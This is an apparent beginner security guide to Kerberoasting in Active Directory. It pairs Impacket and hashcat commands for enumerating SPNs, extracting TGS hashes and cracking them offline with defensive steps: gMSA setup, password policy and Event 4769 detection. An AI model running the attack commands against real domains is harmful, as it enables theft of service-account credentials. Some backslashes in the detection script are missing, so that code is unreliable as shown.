Kerberoasting: How Attackers Steal Active Directory Service Account Credentials

Kerberoasting is one of the most common post-exploitation techniques used by attackers who have gained a foothold in a Windows Active Directory environment. It’s elegant, stealthy, and devastatingly effective against organizations that use weak service account passwords. This guide explains the attack from a beginner perspective and gives you the exact steps to detect and prevent it.

How Kerberos Authentication Works (Background)

Before understanding Kerberoasting, you need the basics of Kerberos:

# Kerberos ticket flow:
# 1. User authenticates to the Domain Controller (DC)
# 2. DC issues a Ticket Granting Ticket (TGT)
# 3. User requests a Service Ticket (TGS) for a specific service
# 4. DC issues TGS encrypted with the SERVICE ACCOUNT's NTLM hash
# 5. User presents TGS to the service — service decrypts with its own password hash

# The key insight: 
# ANY authenticated user can request a TGS for ANY service
# The TGS is encrypted with the service account's password hash
# If the password is weak, the TGS can be cracked OFFLINE

The Kerberoasting Attack

# Kerberoasting steps:
# 1. Attacker has any domain user account (even low-privilege)
# 2. Attacker queries AD for accounts with SPNs (Service Principal Names)
# 3. Requests TGS tickets for those accounts
# 4. Extracts hashes from tickets
# 5. Cracks hashes offline with hashcat/John

# Step 1: Find accounts with SPNs (using Impacket):
GetUserSPNs.py DOMAIN/user:password -dc-ip 192.168.1.10

# Example output:
# ServicePrincipalName             Name         MemberOf
# -------------------------------- ------------ --------
# MSSQLSvc/dbserver01:1433         svc_mssql    
# HTTP/webserver01                 svc_web      
# CIFS/fileserver01                svc_files    

# Step 2: Request and extract hashes:
GetUserSPNs.py DOMAIN/user:password -dc-ip 192.168.1.10 -request

# Output (TGS hash in hashcat format):
# $krb5tgs$23$*svc_mssql$DOMAIN$MSSQLSvc/dbserver01:1433*$...HASH...

# Step 3: Crack with Hashcat:
hashcat -m 13100 -a 0 hashes.txt rockyou.txt
# -m 13100 = Kerberos TGS-REP etype 23

# If password is "Service2024!" — cracked in seconds

Why This Works: Service Account Password Problems

# Common service account issues:
# 1. Never-changed passwords (set once at deployment, forgotten)
# 2. Passwords that meet minimum complexity but are predictable:
#    "Sql@server2019!" "WebService123!" "FileServer2020"
# 3. Same password reused across multiple service accounts
# 4. Service accounts with excessive AD privileges (some are Domain Admins!)

# Audit your service accounts:
# PowerShell - find all accounts with SPNs:
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
Select-Object Name, ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
Format-Table -AutoSize

Defense: Preventing Kerberoasting

1. Use Managed Service Accounts (gMSA)

# Group Managed Service Accounts auto-rotate 240-character passwords
# Impossible to Kerberoast because no human knows the password

# Create a gMSA:
New-ADServiceAccount -Name "svc_webapp" -DNSHostName "webapp.domain.com" -PrincipalsAllowedToRetrieveManagedPassword "WebAppServer01$"

# Install on the service host:
Install-ADServiceAccount -Identity svc_webapp

# Configure IIS app pool to use gMSA:
# IIS Manager > Application Pools > Advanced Settings > Identity
# Set to: DOMAINsvc_webapp$

2. Enforce Strong Service Account Passwords

# If gMSA is not possible, use passwords of 25+ characters:
# Generate a random strong password:
Add-Type -AssemblyName System.Web
[System.Web.Security.Membership]::GeneratePassword(30, 10)
# Example: "X!9kP#2mN@vQ8rT&6wY$4jL*5hB^3"

# Set password policy via Fine-Grained Password Policy:
New-ADFineGrainedPasswordPolicy -Name "ServiceAccountPolicy" -MinPasswordLength 30 -ComplexityEnabled $true -PasswordHistoryCount 24 -MaxPasswordAge "365.00:00:00" -MinPasswordAge "1.00:00:00" -LockoutThreshold 5 -LockoutObservationWindow "0.00:30:00" -LockoutDuration "0.00:30:00" -Precedence 1
Add-ADFineGrainedPasswordPolicySubject "ServiceAccountPolicy" -Subjects "svc_mssql","svc_web"

3. Detection

# Windows Event ID 4769 — Kerberos Service Ticket requested
# Kerberoasting generates many 4769 events in rapid succession

# Enable Kerberos audit logging:
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable

# PowerShell detection script:
$events = Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769; StartTime=(Get-Date).AddMinutes(-60)}
$events | Where-Object {$_.Message -like "*RC4*"} | 
Group-Object {($_.Message | Select-String -Pattern "Account Name:s+(S+)").Matches[0].Groups[1].Value} |
Where-Object {$_.Count -gt 5} |
Format-Table Name, Count

# Alert: Single account requesting 5+ service tickets in 60 minutes using RC4 encryption
# RC4 (etype 23) = weak encryption = Kerberoasting indicator
# Modern Kerberos uses AES256 — RC4 is a red flag

Wrap Up

Kerberoasting is a low-noise, high-impact attack that works against the vast majority of Active Directory environments. The fix is simple in principle: use gMSA where possible, enforce long random passwords for service accounts, and monitor for abnormal Kerberos ticket requests. Running a Kerberoasting test against your own environment (with permission) will tell you exactly which accounts are vulnerable in minutes.